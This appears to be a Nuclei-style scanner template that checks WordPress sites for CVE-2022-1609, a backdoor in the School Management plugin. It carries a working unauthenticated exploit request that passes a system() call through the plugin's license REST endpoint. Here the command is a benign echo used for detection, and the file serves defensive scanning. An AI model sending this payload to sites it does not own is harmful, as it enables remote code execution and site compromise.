漏洞描述
The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.
id: CVE-2022-1609
info:
name: The School Management < 9.9.7 - Remote Code Execution
author: For3stCo1d
severity: critical
description: The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade The School Management to version 9.9.7 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1609
- https://github.com/nastar-id/WP-school-management-RCE
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/0x007f/cve-2022-1609-exploit
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-1609
cwe-id: CWE-94
epss-score: 0.93495
epss-percentile: 0.99812
cpe: cpe:2.3:a:weblizar:school_management:*:*:*:*:pro:wordpress:*:*
metadata:
verified: false
max-request: 1
vendor: weblizar
product: school_management
framework: wordpress
tags: cve,cve2022,rce,wp,backdoor,wpscan,wordpress,weblizar,vkev,vuln
variables:
cmd: "echo CVE-2022-1609 | rev"
http:
- raw:
- |
POST /wp-json/am-member/license HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
blowfish=1&blowf=system('{{cmd}}');
matchers-condition: and
matchers:
- type: word
part: body
words:
- '9061-2202-EVC'
# digest: 4a0a0047304502201602c710229f5281ba776e678e783b3fb7dd5e868e95f0ee25c8a47bee1ae6bd022100abb192eb50706337abe05d3bce43196afca48edc09d1c95557b2a53697881582:922c64590222798bb761d5b6d8e72950